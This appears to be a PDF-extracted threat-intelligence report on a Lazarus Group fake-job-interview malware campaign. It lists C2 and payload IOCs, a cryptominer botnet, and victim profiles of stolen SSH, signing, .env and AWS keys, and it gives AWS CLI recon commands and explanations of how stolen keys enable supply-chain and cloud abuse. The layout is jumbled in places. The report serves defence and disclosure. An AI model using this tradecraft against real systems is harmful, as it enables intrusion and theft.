         Jumpbox: 146.70.41.152 (M247, offline)       │

═══════════════════════════════════════════════════════════════════════

OPERATOR LAYER

═══════════════════════════════════════════════════════════════════════

                    ┌─────────────────────────────────┐

                    │ 94.136.184.44 (Contabo, Germany) │

                    │ Jenkins CI/CD + Operations       │

                    │ Mailcow (19 containers)          │

                    │ 13 fake exchange apps            │

                    │ Operator A ("Ibrahim" label, India ISP) │

                    │ Last login: 2026-04-17           │

                    └──────────────┬──────────────────┘

                                   │



Appendix E — Glossary

Term Definition

AML Anti-Money Laundering — regulatory framework requiring financial institutions to detect and report suspicious

financial activity

AVAX Avalanche cryptocurrency native token

BeaverTail Lazarus Group Qt-based cross-platform credential stealer; first named by Palo Alto Networks Unit 42 (October

2024)

BIP-32 Bitcoin Improvement Proposal 32 — standard for hierarchical deterministic (HD) cryptocurrency wallet derivation

Build ID Unique binary identifier compiled into ELF executables, useful for correlating different builds of the same malware

chattr +ia Linux ext4 filesystem command setting immutable (+i) and append-only (+a) attributes on a file, preventing deletion

or modification even by root

CI/CD Continuous Integration / Continuous Deployment — automated software build and deployment pipeline

CL-STA-0240 Palo Alto Networks Unit 42 internal cluster designation for the Contagious Interview / BeaverTail threat actor

                    ┌──────────────┼──────────────┐

                    │              │              │

              Redis [REDIS-PASSWORD-REDACTED]   MongoDB         Active C2

              (victim malware) (14 clusters)  5.189.187.9:3000

                    │                          86.104.251.158:443

                    ▼

             VICTIM MACHINES

             (.env files contain same Redis password)

             → SMOKING GUN link: Jenkins ↔ Victim Infrastructure

═══════════════════════════════════════════════════════════════════════

CRYPTOMINER BOTNET (PARALLEL OPERATION)

═══════════════════════════════════════════════════════════════════════

                    ┌─────────────────────────────────┐

                    │ 103.174.189.183:6379             │

                    │ Redis C2 (unauthenticated)       │

                    │ 4 cron template keys             │

                    └──────────────┬──────────────────┘

                                   │ kworker/javae download

                    ┌──────────────▼──────────────────┐

                    │ 34.70.205.211 (GCP US)          │

                    │ Primary payload distribution    │

                    │ /plugins-dist/safehtml/lang/font/│

                    │   kworker  (dropper, 36KB)      │

                    │   javae    (XMRig, 5.5MB)       │

                    │   cb.txt   (scanner install)    │

                    │   cr.sh    (Redis worm)         │

                    └──────────────┬──────────────────┘

                                   │

                    ┌──────────────▼──────────────────┐

                    │ INFECTED SYSTEMS (104 confirmed) │

                    │ 26+ countries, est. 36-72K total │

                    │ SSH backdoor: "uc1" public key  │

                    │ Mining: pool.supportxmr.com:8080│

                    └─────────────────────────────────┘



Term Definition

Contagious

Interview

Lazarus Group campaign using fake job interviews to deliver malware to cryptocurrency developers; first named by

ESET (September 2023)

CVSS Common Vulnerability Scoring System — standardised 0–10 severity rating for security vulnerabilities

DeFi Decentralised Finance — blockchain-based financial protocols without centralised intermediaries

EVM Ethereum Virtual Machine — execution environment for smart contracts on Ethereum and compatible chains

HD Wallet Hierarchical Deterministic wallet — a wallet system where many addresses can be derived from a single master

seed

InvisibleFerret Python-based Remote Access Trojan deployed as second stage by BeaverTail; named by Palo Alto Unit 42

IOC Indicator of Compromise — forensic artefact (IP address, domain, file hash, etc.) associated with malicious activity

JWT JSON Web Token — an open standard (RFC 7519) for transmitting authentication information as a signed JSON

object

Keplr Cosmos ecosystem cryptocurrency wallet supporting ATOM and IBC-connected tokens

MEV Maximal Extractable Value — profits available to blockchain validators by reordering, inserting, or censoring

transactions

MonoVM A VPS hosting provider; hosts the exfiltration VPS at 147.93.133.220 identified in the Contagious Interview

investigation

OtterCookie Third-stage exfiltration component used in this campaign; write-only HTTP POST protocol to sink servers

PAT Personal Access Token — GitHub API authentication credential with configurable scope and permissions

Phantom Solana ecosystem cryptocurrency wallet browser extension

RandomX Proof-of-work algorithm used by Monero, designed to be efficient on general-purpose CPUs

Shodan Internet-wide device search engine indexing open ports, services, and banner information

Stratum Mining pool communication protocol used by XMRig and most mining software

Supply chain

attack

Attack targeting a software dependency or development tool to compromise downstream consumers without

directly targeting them

TronLink Tron blockchain cryptocurrency wallet browser extension

XMRig Open-source Monero (XMR) CPU/GPU miner; weaponised by Lazarus as the "javae" binary

XOR encryption Simple symmetric encryption using XOR bitwise operation; used in XORIndex loader for payload obfuscation



Part X — Broader Context and Comparative Analysis

Chapter 42: Comparison With Prior Lazarus Group Cryptocurrency
Operations

42.1 Operational Comparison Matrix

Operation Year Method Amount Victims Attribution Key Technical

Innovation

Bangladesh

Bank SWIFT

2016 SWIFT interbank

transfers

$81M 1 institution HIDDEN

COBRA

SWIFT message

manipulation

FASTCash ATM 2016-2

020

ATM network compromise $1.9B Multiple

banks

APT38 Real-time authorization

bypass

WannaCry 2017 Ransomware propagation $4–8B (damages) 300,000+

systems

Lazarus EternalBlue exploit

weaponisation

Sony Pictures 2014 Destructive attack N/A 1 studio Lazarus Disk-wiping malware at

scale

Ronin / Axie 2022 LinkedIn spear-phishing

→ HSM

$625M 1 bridge Lazarus Social engineering →

HSM access

Harmony

Horizon

2022 Employee phishing →

multisig

$100M 1 bridge Lazarus Multisig threshold

exploitation

Bybit 2025 Safe{Wallet} front-end JS

injection

~$1.5B 1 exchange Lazarus UI layer supply chain

attack

Contagious

Interview

2024-2

026

npm supply chain +

fake recruitment

$204M+ direct;

~$140,000+ fraud

14,716+

individuals

Lazarus Mass-scale

developer targeting

The Contagious Interview campaign is structurally distinct from Lazarus's prior high-profile single-event

operations (Ronin, Bybit). While those operations targeted the cryptocurrency infrastructure layer

(bridges, exchanges, custodians), Contagious Interview targets the human infrastructure layer—the

individual developers who build that infrastructure. This is a strategic diversification: targeting

infrastructure requires finding specific high-value vulnerabilities; targeting developers is scalable to 197

npm packages and 14,716+ victim records without requiring any infrastructure-level vulnerability at all.

42.2 The Evolution of "Pig Butchering" in State-Sponsored Operations

The AlphaSportsTech fake exchange fraud documented in this investigation represents a significant

convergence of two previously distinct criminal categories: (1) DPRK state-sponsored cryptocurrency

theft, and (2) Southeast Asian "pig butchering" investment fraud.

Pig butchering fraud has historically been associated with organised crime groups based in Cambodia,

Myanmar, and Thailand—often operating through forced-labour "scam compounds" where trafficked

workers are compelled to run fraud operations. The estimated global losses from pig butchering exceed

$75 billion annually (Chainalysis 2024 estimate).



Lazarus Group's adoption of this methodology with AlphaSportsTech is notable for three reasons:

Professional infrastructure: The Mailcow email stack, Redis trading engine, and MongoDB Atlas

backend are significantly more sophisticated than typical pig butchering operations, which use

WhatsApp and basic phishing pages.

Cryptocurrency-native targeting: AlphaSportsTech targets cryptocurrency-literate investors rather

than general populations, enabling higher average deposits ($4.2M average) than typical pig

butchering ($10,000-50,000 average).

Integration with credential theft campaign: The same Jenkins server hosting AlphaSportsTech

also hosts the developer credential theft infrastructure. This integration enables a "double dip"—

retail investor funds via AlphaSportsTech, and developer credential theft from any developer who

discovers and investigates the platform.

Chapter 43: The DPRK IT Worker Programme — Structural Analysis

43.1 Programme Overview

The DPRK IT worker programme is documented in the May 2022 joint advisory by the US Departments

of State, Treasury, and Justice, with updates in 2023 and 2024. The programme involves DPRK

nationals:

Traveling to (or being sent to) third countries including China, Russia, India, Pakistan, Southeast

Asian nations, and African countries

Establishing local digital identities using false documentation

Applying for remote software development jobs at companies primarily in the US, Europe, and

cryptocurrency sector

Earning salaries remitted back to DPRK via cryptocurrency or hawala channels

In some cases, performing additional covert operations beyond legitimate contract work

The investigating authorities estimates that thousands of DPRK IT workers are currently operational

globally, collectively earning hundreds of millions of dollars annually for the DPRK state—a significant

foreign currency source that supplements (and in some years exceeds) the proceeds from large-scale

cryptocurrency theft operations.

43.2 Operator A — India Nexus Mechanics

The operator behind the "Ibrahim" label represents one observed node in this broader programme. The

specific mechanics of his India-based operation appear to be:

Step 1 — Infrastructure establishment: Domain registration (tokenloopz.com), VPS procurement

(Contabo Germany, payable via cryptocurrency), and GitHub organisation (Alpharive-Tech) were

established before Operator A's identified active period. This suggests either advance preparation by

DPRK handlers or a prior phase using different operational security.

1. 

2. 

3. 

1. 

2. 

3. 

4. 

5. 



Step 2 — Local internet access: The Jenkins server was accessed from Indian commercial ISPs

(Airtel, BSNL). These are genuine Indian residential/commercial broadband connections, not VPN exit

nodes. This indicates a stable physical presence in India, not a transient operator "bouncing" through

Indian infrastructure.

Step 3 — Work hours and productivity: The 6–9 hour daily sessions, 5 days per week, represent full-

time employment level commitment. The quality of the microservices codebase (professional

architecture, PM2 deployment, proper CI/CD via Jenkins) indicates genuine software engineering skill—

consistent with the DPRK IT worker profile of legitimate software development capability combined with

covert operations.

Step 4 — Remittance to DPRK: The mechanism by which proceeds reach DPRK is not documented in

this investigation's evidence. Historical DPRK IT worker remittance mechanisms include:

Direct cryptocurrency transfer (USDT to DPRK-controlled exchange accounts)

hawala network transfers (cash equivalents settled through informal value transfer)

Repatriation through DPRK embassy channels (where diplomatic pouches are not subject to host-

country customs inspection)

Reinvestment in additional infrastructure (cryptocurrency mining, fake exchange operations)

43.3 Detection and Disruption of DPRK IT Worker Operations

The May 2022 advisory and its successors provide guidance for employers to detect DPRK IT workers

in their contractor pool. Red flags include:

Red Flag Relevance to This Investigation

Requests to redirect salary payments to cryptocurrency N/A (operator controls own infrastructure)

Inconsistent time zones between stated location and login

times

Operator A: stated India, login times IST — CONSISTENT (not a flag

here)

Code quality notably high compared to stated experience Operator A's microservices quality suggests formal computer science

education

Reluctance to appear on video calls Not assessed in this investigation

Multiple accounts accessing the same systems 7 operator accounts on Jenkins — flagging multi-account patterns

Unusual after-hours access patterns Regular 8-hour IST sessions (not unusual for India timezone)

For platform operators, the detection of DPRK IT workers is challenging precisely because the best

operators (like Operator A) do not exhibit obvious red flags. They write quality code, maintain

professional communication, and operate on regular business hours for their stated location.

Disruption options:

Infrastructure provider action: Contabo (hosting Jenkins at 94.136.184.44) was not notified of the

confirmed malicious use of their infrastructure as of this writing. An abuse report to Contabo with

this evidence would likely result in server termination—disrupting Operator A's operations.

Domain registrar action: The registrar for tokenloopz.com can be served with a takedown request

supported by this evidence, disrupting the operator's domain infrastructure.

GitHub organisation action: The Alpharive-Tech organisation can be reported to GitHub for

malicious use, resulting in account suspension and repository removal.

• 

• 

• 

• 

1. 

2. 

3. 



investigating authorities action: The combination of named identity, active login IP addresses (for

geolocation), and forensic evidence chains is sufficient for an investigating authorities mutual legal

assistance request to Indian investigating authorities for identification and arrest of Operator A, if the

full legal predicate (formal criminal charges in the US jurisdiction) is established.

Chapter 44: Defensive Ecosystem Implications

44.1 npm Security Infrastructure Gaps

The scale of the BeaverTail npm campaign (197+ packages, 31,000+ downloads) highlights structural

gaps in npm's security infrastructure:

Gap 1 — Delayed malware detection: The stardev0914 packages were published for 6+ weeks before

npm removed them. npm's automated security scanning (npm Audit, Sonatype OSS Index integration)

did not detect the malicious postinstall scripts within the detection window that would have limited

damage. Comparison: Socket.dev's real-time scanning would have flagged these packages within hours

based on behavioral analysis of the postinstall hook, but Socket.dev integration is not default for npm

consumers.

Gap 2 — Account verification: The bitcoin2026a GitHub account required only an email address to

create. The 18-day gap between malware finalisation (December 29, 2025) and GitHub publication

(January 16, 2026) suggests some verification or planning delay, but ultimately no identity verification

prevented publication of the malicious repository.

Gap 3 — VSCode task auto-execution: Microsoft's decision to support runOn: folderOpen  in VSCode

tasks.json—enabling automatic code execution on folder open—creates a genuine zero-click code

execution primitive. This feature exists for legitimate productivity reasons (auto-starting development

servers) but enables the BeaverTail infection as documented. Microsoft has not removed this feature; it

requires an explicit settings change by users to disable.

Gap 4 — Transitive dependency trust: Even if developers scrutinise their direct dependencies,

transitive dependencies (npm packages installed by their direct dependencies) receive minimal scrutiny.

A developer installing react-modal-select  (Lazarus malicious package) does not see the postinstall

hook in their terminal output—it runs silently as part of the npm installation cascade.

44.2 Cryptocurrency Developer Security Culture

The Contagious Interview campaign succeeds in part because of specific characteristics of

cryptocurrency developer security culture:

High tolerance for running unknown code: The "BUIDL" culture of Web3 development involves

frequently cloning repositories, running smart contract deployment scripts from GitHub, and installing

packages from less-established sources. Cryptocurrency developers are accustomed to a level of code-

execution trust that would be unusual in traditional enterprise software development.

GitHub as implicit trust anchor: A public GitHub repository with a star count, recent commits, and

professional README is treated as implicitly legitimate by many developers. The bitcoin2026a/coin-

promoting repository was designed to meet these aesthetic trust signals—it had professional

documentation and what appeared to be ongoing development activity.

4. 



Interview assignment normalisation: Technical interview processes routinely ask candidates to

complete coding assignments—running provided code on their local machines. The Contagious

Interview vector exploits this normalisation precisely: there is no expectation of suspicion when an

interviewer provides a GitHub repository to clone and run.

Private key management practices: Many cryptocurrency developers store private keys in files that

are accessible to their development environment (e.g., in .env  files loaded by development scripts, in

browser profiles used for both personal use and protocol testing). This practice—understandable given

the convenience-security tradeoff in development—creates the exposure surface that BeaverTail

exploits.

44.3 Recommended Industry-Wide Responses

1. npm Require-2FA Publishing: npm currently requires 2FA for publishing packages with more than

500 weekly downloads, but not for new packages. Requiring 2FA from the first published version would

have prevented the stardev0914 account from publishing 197 packages without any identity verification.

2. VSCode Task Safety: Microsoft should change the runOn: folderOpen  default to opt-in rather than

opt-out. Developers should receive a one-time prompt on folder open that includes any configured

tasks: "This workspace has tasks that will run automatically. Allow? [Review] [Allow] [Never Allow]"

3. Cryptocurrency Developer Security Training: Security organisations should develop

cryptocurrency-developer-specific security training addressing: private key storage in development

environments, npm package verification, interview assignment code safety, and hardware wallet

requirements for any wallet holding more than $1,000 equivalent.

4. DeFi Protocol CI/CD Hardening Requirements: DeFi protocols holding significant user funds

should implement CI/CD security requirements as a condition of listing on major DEXs: minimum

requirements for branch protection, required multi-party sign-off for smart contract deployment, and

mandatory npm audit in CI pipelines.

5. Exchange Pre-emptive Account Protection: Cryptocurrency exchanges should implement

mechanisms for investigating authorities partners to notify them of compromised-credential victims,

enabling preemptive account protection (e.g., requiring re-verification via email or 2FA device reset)

before stolen credentials are used. This mechanism exists in traditional financial services (FIDO fraud

consortium, FS-ISAC) and should be extended to the cryptocurrency exchange sector.



Part XI — Detailed Credential and Asset Analysis

Chapter 45: The Lazarus Credential Corpus — Structure and Value

45.1 Overview

Beyond the aggregate statistics (246,457 credential files across 14,716+ victim records), the

investigation's detailed analysis of 14 victims from the 35-victim high-value subset reveals the

extraordinary granularity and operational value of the data Lazarus successfully exfiltrated. This chapter

documents the specific credential inventory, organised by type, with case studies illustrating the multi-

layered exposure each victim represents.

The 14 victims analysed in detail represent a cross-section of the larger population: they include

individual blockchain developers (a blockchain indexer developer victim, a developer victim), company

founders and CTOs (the DeFiHub developer victim/DeFiHub, a developer victim), freelance multi-client

developers (a multi-client developer victim), and one particularly significant entry—victim [VICTIM-ID-

REDACTED], whose files contain operator-level tools indicating the victim had direct contact with the

Lazarus operation infrastructure.

Chapter 46: Operator Intelligence from Victim Machine ([VICTIM-ID-
REDACTED])

46.1 The CakeWallet Bitcoin Cracking Tool

Perhaps the most operationally revealing artefact in the entire 38GB evidence corpus is a single file

recovered from victim machine [VICTIM-ID-REDACTED] :

This file represents a Lazarus operational tool — not victim data, but an operator asset that was

somehow present on the [VICTIM-MACHINE-REDACTED] victim machine. The presence of this file on a

victim machine, combined with the victim's SSH known_hosts containing 146.70.41.152  (the Lazarus

jumpbox), and an RSA-4096 key with bitbucket.org  in known hosts, strongly suggests that [VICTIM-

MACHINE-REDACTED] was either:

An operator machine that was itself in the victim data (operators accidentally infected their own

machine), or

A contractor who had legitimate access to Lazarus operator infrastructure (explaining both the

operator tool and the C2 server in their known_hosts)

Technical analysis of the rainbow table:

Path: C:\Users\Admin\Desktop\cakewallet_weak_bitcoin_seeds_hashed_sorted_version1.txt

Content: 8,717 SHA-256 hashed Bitcoin seed phrases

Format: Pre-sorted rainbow table for weak/short CakeWallet seed phrases

1. 

2. 



CakeWallet background: CakeWallet is a popular open-source Monero and Bitcoin wallet application,

with approximately 2 million users on iOS and Android. The fact that Lazarus constructed a rainbow

table specifically for CakeWallet's seed storage format demonstrates:

Targeted research: The operators conducted reverse engineering of CakeWallet's internal storage

format to understand how seed phrases are protected.

Industrial-scale precomputation: 8,717 hash entries represents precomputation of weak/short

seed phrases (dictionary words, simple patterns) — a brute-force attack against CakeWallet

backups stored without strong encryption.

Monero focus: CakeWallet's primary use case is Monero, consistent with Lazarus's parallel Monero

mining operation and their interest in the privacy coin ecosystem.

Sample hashes (first 10 entries):

These hashes are sorted lexicographically, enabling O(log n) binary search — the format is optimised

for high-speed lookup rather than sequential processing.

46.2 [VICTIM-MACHINE-REDACTED] — SSH Infrastructure Intelligence

Beyond the CakeWallet tool, the [VICTIM-MACHINE-REDACTED] machine's SSH known_hosts  file

contained:

The bitbucket.org  entry is significant: Bitbucket has appeared in prior Lazarus attribution reports as a

staging platform for malware repositories. The combination of Lazarus's primary jumpbox in

known_hosts and Bitbucket (a common Lazarus malware staging provider) suggests the [VICTIM-

MACHINE-REDACTED] user had administrative-level access to Lazarus-operated infrastructure.

The contractor paradox: One victim appears in the FTP victim directory — their data was uploaded to

Lazarus's exfiltration server — yet their machine contains Lazarus operator tools and Lazarus

infrastructure in their known_hosts. This paradox has two interpretations:

Format: SHA-256(BIP-39_mnemonic_phrase) → sorted by hash value

Purpose: Enables rapid lookup of target hash → original mnemonic phrase

Use case: If a user's wallet backup was stored as a hash (by CakeWallet's 

         internal storage), this table enables offline recovery without 

         brute-force computation

1. 

2. 

3. 

000039088e7635bd3d088ff0376a2c12b3d14fc2714f3126f1b2f4c8cf919dcd

00010e2247ac2a27a3f266e1f7354b523e368e3790fab7529bb29d29b2264189

000447f29779b8c3893421a796abd089a2fc9cc50297467be733ca64d5c3cb70

00044d7e25a645f5da26bcb906df1aeb5ef35e1c86582579561240311bf8ccf5

00090cb1f4794070340b8e6ba697711ff59545175b1acb69980a7f0c14f3e6a0

000afe48e10afc15299e54e7ac3dec1cd6957903067eebc8424f68eb666f3790

000f01e767f12f7e392693854b4e5e5cd79bc847fded720aaaefe885e00279d6

001a911b00e9f1f201982ff86df75bbf718c46b0e441cda527a634cdf1186bcb

001d490eb469e0e93089485e7dbf477e872b24c680209f762d3501a8067f71be

0021a875205e02f95cf0f5fa2cb435c950f77a3c27e342afabc28c2aae2a7766

146.70.41.152 [ecdsa-sha2-nistp256 key]  — Lazarus jumpbox server

bitbucket.org [ssh-rsa key]               — Malware repository hosting



Interpretation A — Insider/Contractor: The victim was a contractor who performed development work

for the Lazarus operation (perhaps building one of the fake exchanges) and received access to operator

infrastructure in exchange. Lazarus subsequently infected the contractor's machine to extract additional

intelligence and monitor the contractor.

Interpretation B — Operator Self-Infection: An operator (using the hostname "[VICTIM-MACHINE-

REDACTED]" as an alias) accidentally infected their own machine when testing BeaverTail malware

during development. The operator's machine was enrolled in the victim data collection system by the

malware's own registration mechanism.

Interpretation A is assessed as more likely based on the file's presence (a finished operational tool

unlikely to be in a developer test environment) and the bcrypt-encrypted RSA-4096 key (indicating a

security-conscious user, consistent with a contractor who understands key management).

Chapter 47: Victim Profile — the DeFiHub developer victim ([VICTIM-ID-
REDACTED]) — DeFiHub

47.1 Victim Background

Victim identifier: [VICTIM-ID-REDACTED] (the DeFiHub developer victim)

Team: 99

Platform: Ubuntu/Pop!_OS Linux (Brazilian developer)

Employer: DeFiHub (defihub.fi) — decentralised finance aggregation platform

Secondary employer: Naked Nuts (development company)

Country: Brazil (pt-BR locale files, UFSC university reference)

47.2 Exfiltrated .env File Inventory

The the DeFiHub developer victim victim had 13 .env files across multiple projects, making them one of

the highest-density .env-file victims in the corpus. The critical entries:

backend-v1/.env  (DeFiHub production backend):

defihub-front/.env  (DeFiHub frontend):

# CRITICAL: Blockchain transaction signing key

PERMIT_SIGNER_KEY=[REDACTED]

# Blockchain RPC access

ANKR_API_KEY=[ANKR-KEY-REDACTED]

# Application monitoring (sensitive internal URLs)

SENTRY_DSN=https://[hash]@o[id].ingest.sentry.io/[id]

# Web3Auth client (social login integration)

WEB3AUTH_CLIENT_ID=[32-char ID]

# eRPC (Ethereum RPC provider)

ERPC_AUTH_TOKEN=[ERPC-TOKEN-REDACTED]



47.3 PERMIT_SIGNER_KEY — Technical Impact

The PERMIT_SIGNER_KEY  is a raw Ethereum private key (hexadecimal format without 0x  prefix). The key

corresponds to an Ethereum externally-owned account (EOA) that holds signing authority within

DeFiHub's smart contract system.

EIP-2612 "Permit" signing: EIP-2612 introduces a permit  function to ERC-20 token contracts,

enabling gasless approvals via off-chain signatures. The PERMIT_SIGNER_KEY generates the

cryptographic signatures that DeFiHub's smart contracts accept as authorization for specific operations

— without requiring the signing key to pay gas.

Attack surface with PERMIT_SIGNER_KEY:

An attacker with the PERMIT_SIGNER_KEY can generate valid signatures for any user  and amount  —

potentially enabling unauthorised stake operations, fee manipulation, or access to protocol-level

administrative functions protected by the signer's authority.

Detection: Monitoring for unexpected signatures from the compromised signing address (derivable from

the private key) would reveal exploitation. As of the investigation window, no unauthorised transactions

from the address were confirmed.

47.4 SSH Key and Repository Exposure

The the DeFiHub developer victim SSH configuration reveals a professional dual-identity setup:

REACT_APP_ANKR_API=[ANKR-KEY-REDACTED]

REACT_APP_ALCHEMY_KEY=[Alchemy key]

REACT_APP_INFURA_ID=[Infura project ID]

// DeFiHub permit pattern (simplified):

function permitAndStake(

    address user,

    uint256 amount,

    uint256 deadline,

    uint8 v, bytes32 r, bytes32 s  // Signature from PERMIT_SIGNER_KEY

) external {

    // Verify signature is from the authorized permit signer

    require(ecrecover(hash, v, r, s) == PERMIT_SIGNER, "Invalid permit");

    // Execute authorized operation

    _stake(user, amount);

}

~/.ssh/config:

# Personal account

Host github.com

   HostName github.com

   IdentityFile ~/.ssh/id_ed25519

# Work account (Naked Nuts company)

Host github.com-naked-nuts

   HostName github.com

   IdentityFile ~/.ssh/id_rsa_naked_nuts



With both keys exfiltrated, Lazarus has:

Access to all the DeFiHub developer victim personal repositories on GitHub

Access to all Naked Nuts company repositories (including potentially DeFiHub's private development

repositories)

The ability to push commits appearing to come from the DeFiHub developer victim to any repository

he has write access to

The supply chain risk: if the DeFiHub developer victim has write access to DeFiHub's smart contract

repository, malicious code pushed under his identity could pass code review (colleagues trust his

commits) and potentially be deployed to production, affecting all DeFiHub protocol users.

Chapter 48: Victim Profile — a multi-client developer victim ([VICTIM-ID-
REDACTED]) — Multi-Client Developer

48.1 The Multi-Client Attack Surface

The a multi-client developer victim victim represents the highest multi-client exposure in the analysed

subset. With 20+ SSH keys across 5 git platforms and 5+ client companies, a single BeaverTail

infection on a multi-client developer victim's machine compromised not just a multi-client developer

victim's personal assets, but the software supply chain for all their clients.

Complete SSH key inventory ([VICTIM-ID-REDACTED]):

Client company exposure:

Client Platform Access Level Severity

imi company GitLab Auth + commit signing HIGH

1tab company GitLab Auth + commit signing HIGH

PlayHub Studio GitHub Auth + commit signing HIGH

darknia Gitea (git.darknia.xyz) Auth + commit signing MEDIUM

OVH server (51.195.45.92) SSH Shell access HIGH

• 

• 

• 

~/.ssh/

├── id_ed25519              — General purpose key

├── a multi-client developer victim-x_auth           — GitHub (personal)

├── a multi-client developer victim-x_sign           — GitHub (signing, git commits)

├── ellias-morrison_auth    — GitHub (alias account)

├── zerdox_auth             — SourceHut

├── zerdox_sign             — SourceHut (commit signing)

├── gitlab_imi_auth         — GitLab (imi company)

├── gitlab_imi_sign         — GitLab (imi signing)

├── gitlab_1tab_auth        — GitLab (1tab company)

├── gitlab_1tab_sign        — GitLab (1tab signing)

├── gitea_darknia_auth      — Gitea (darknia.xyz)

├── gitea_darknia_sign      — Gitea (darknia signing)

├── a multi-client developer victim-ph_auth          — GitHub (PlayHub Studio)

├── a multi-client developer victim-ph_sign          — GitHub (PlayHub Studio signing)

└── ovh-fedora              — SSH to OVH server (51.195.45.92)



The commit signing dimension: The separate _sign  keys are ed25519 keys used for Git commit

signing — a feature where developers cryptographically sign their commits using GPG or SSH keys,

and GitHub/GitLab displays a "Verified" badge on signed commits.

With both _auth  (push access) and _sign  (commit signature) keys, Lazarus can push commits that

appear both authenticated AND cryptographically signed by the legitimate developer identity. This

defeats the "require signed commits" protection that many security-conscious projects use to prevent

unauthorised code injection — the malicious commits would display "Verified" badges indistinguishable

from genuine commits by the real developer.

48.2 The SourceHut Unusual Platform

SourceHut (sr.ht) is a minimalist, paid software hosting platform popular in the privacy-conscious open-

source community. Its inclusion in a multi-client developer victim's SSH configuration suggests the

developer works on projects in this community — possibly open-source software with a user base that

trusts the SourceHut-hosted repositories as legitimate.

A Lazarus operator pushing malicious code to a SourceHut-hosted open-source project under a multi-

client developer victim's signed identity could:

Inject backdoors into open-source libraries

Trigger downstream users of those libraries to pull malicious updates

Remain undetected until a diligent code reviewer notices the injected code

Chapter 49: Victim Profile — [WITHHELD] — Fake Interview Platform
Connection

49.1 Discovery Significance

A compromised developer machine contained artefacts showing interaction with a Lazarus-controlled

fake interview platform. The victim's directory structure included a project folder matching the name of a

known Lazarus lure platform (RentVerse), indicating the victim had either:

Completed a fake technical interview and cloned the provided repository, or

Worked as a contractor who built components of the platform for the operators

The C2 team prefix confirms this victim is assigned to one of the lesser-documented operator teams.

The directory path and username are withheld because they identify the victim environment.

49.2 Corporate Victim Connection

The same victim's VS Code SSH FS configuration contained saved access material for third-party

corporate servers, including a transportation and logistics company and a medical software company.

One root-level credential was present in the recovered configuration data; the plaintext value is withheld.

Organisation names, IP addresses (including a local-network address accessible via victim VPN), and

sector-specific identifiers are withheld pending notification and disclosure clearance.
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The medical software victim context is particularly significant: healthcare-sector victims carry mandatory

breach notification obligations (HIPAA and equivalent jurisdictional requirements) in addition to the

standard credential rotation response. Investigators treated this as the highest regulatory-exposure entry

in the victim notification triage.

This case demonstrates that Contagious Interview compromises can extend from a single developer

workstation into corporate infrastructure through saved SSH configuration, remembered server

metadata, and developer-side operational access.

Chapter 50: SSH Key Statistics and Forensic Analysis

50.1 SSH Key Inventory Summary

Across the 14 analysed victims, 40+ SSH private keys were exfiltrated. This is analysed below:

Key Type Count Associated Platforms

ed25519 (auth) ~18 GitHub, GitLab, SourceHut, Gitea, general

ed25519 (signing) ~9 Git commit signing (GPG-equivalent)

RSA-4096 (auth) ~8 GitHub, older systems

RSA-4096 (encrypted) ~3 Password-protected (identity withheld)

ECDSA P-256 ~2 General server access

Total 40+

Platform distribution:

GitHub: ~20 keys (personal + company accounts)

GitLab: ~8 keys (company accounts)

SourceHut: 2 keys (a multi-client developer victim)

Gitea: 2 keys (a multi-client developer victim)

Bitbucket: 1 key reference ([VICTIM-MACHINE-REDACTED])

SSH server access: ~7 keys

50.2 Key Validity and Exploitation Timeline

Ed25519 SSH keys do not expire; they remain valid until explicitly revoked by the owner. RSA keys

similarly remain valid indefinitely. This means that:

Keys exfiltrated in December 2025 remain valid unless the victim discovers the compromise and

revokes them

Keys exfiltrated from victims who haven't been notified (the majority) are likely still valid as of

publication date

GitHub SSH keys can be used to authenticate as the victim to any repository they have access to,

without triggering GitHub's login-based 2FA

For the 40+ keys obtained from 14 victims (with 14,716+ victim records, only 14 fully analysed), the total

SSH key inventory across the full victim population is estimated at ~12,000+ keys — each providing

persistent unauthorised access to developer infrastructure until revocation.

• 

• 

• 

• 

• 
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50.3 Git Commit Signing — Supply Chain Threat Analysis

The combination of _auth  (push access) and _sign  (commit signing) key pairs for multiple client

companies creates a supply chain threat that is distinct from simple code injection:

Standard supply chain attack (without signing):

Attacker pushes malicious code to repository

Code review may catch the unauthorised push (unexpected commit author)

Branch protection rules may block the push

"Unverified" badge on commits alerts reviewers

Supply chain attack with signing key compromise:

Attacker pushes malicious code using stolen auth key

Malicious commit appears to be from the legitimate developer

Commit displays "Verified" badge — signed with stolen signing key

Code review sees a familiar, trusted committer with verified signature

Standard branch protection allows the commit through

This attack is effectively undetectable at the repository layer. The only reliable detection mechanisms

are:

Out-of-band communication with the developer to verify they made the commit

Behavioural analysis (commit time, content, and style inconsistent with developer's history)

GitHub/GitLab audit logs showing the authentication IP address of the push

Chapter 51: Cloud Credential Analysis

51.1 AWS Access Keys — Operational Use Cases

Three AWS access keys were confirmed in the 14-victim subset:

1. wendo.io ([AWS-KEY-REDACTED]):

2. a developer victim ([AWS-KEY-REDACTED]):

1. 
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aws iam get-user --user wendo.io

# → AdministratorAccess policy attached

# Access to: S3, EC2, RDS, Lambda, CloudFront, Route53, IAM...

Operational risk:

  - Cryptocurrency/cloud platform backend access

  - Potential to provision new EC2 instances for Lazarus mining

  - Route53 access enables DNS hijacking of wendo.io domain

  - S3 access enables data exfiltration from all wendo.io storage buckets



3. a developer victim EC2 PEM Key:

AWS access for Lazarus operational use: AWS access keys obtained from victims serve multiple

purposes beyond the immediate victim data theft:

Cryptomining provisioning: Launch EC2 instances for Monero mining under the victim's AWS

account. Costs attributed to victim; revenue goes to Lazarus. This is particularly attractive because

EC2 instances provide high-bandwidth connectivity and predictable CPU performance.

Command-and-control hosting: Provision new EC2 instances as additional C2 nodes, registered

under the victim's account. If these nodes are later attributed, they trace back to the victim rather

than Lazarus.

Data staging: Use S3 buckets as temporary storage for aggregated stolen data before final

exfiltration.

Infrastructure discovery: AWS APIs reveal the victim's full infrastructure topology — database

endpoints, storage buckets, lambda functions — all of which may contain additional sensitive data.

51.2 Non-Financial API Key Analysis

The victim corpus contained numerous API keys for services that, while not directly financial, provide

significant operational leverage:

Alchemy API keys (multiple victims): Alchemy provides Ethereum and Polygon node infrastructure.

With an Alchemy API key, an attacker can:

Query any Ethereum address's transaction history and balance in real-time

Submit transactions to the Ethereum network

Monitor mempool for specific wallet activity

Access Alchemy's NFT API to enumerate victim's NFT holdings

SendGrid API (epicvisits.com): With an active SendGrid API key:

Region: us-east-1

Access: Development environment

Risk: Repository access, EC2 instances, potentially production

aws ec2 describe-instances --region us-east-1

# → Reveals infrastructure topology

# → Enables lateral movement to other AWS-hosted services

Host: ec2-54-71-183-88.us-west-2.compute.amazonaws.com (us-west-2)

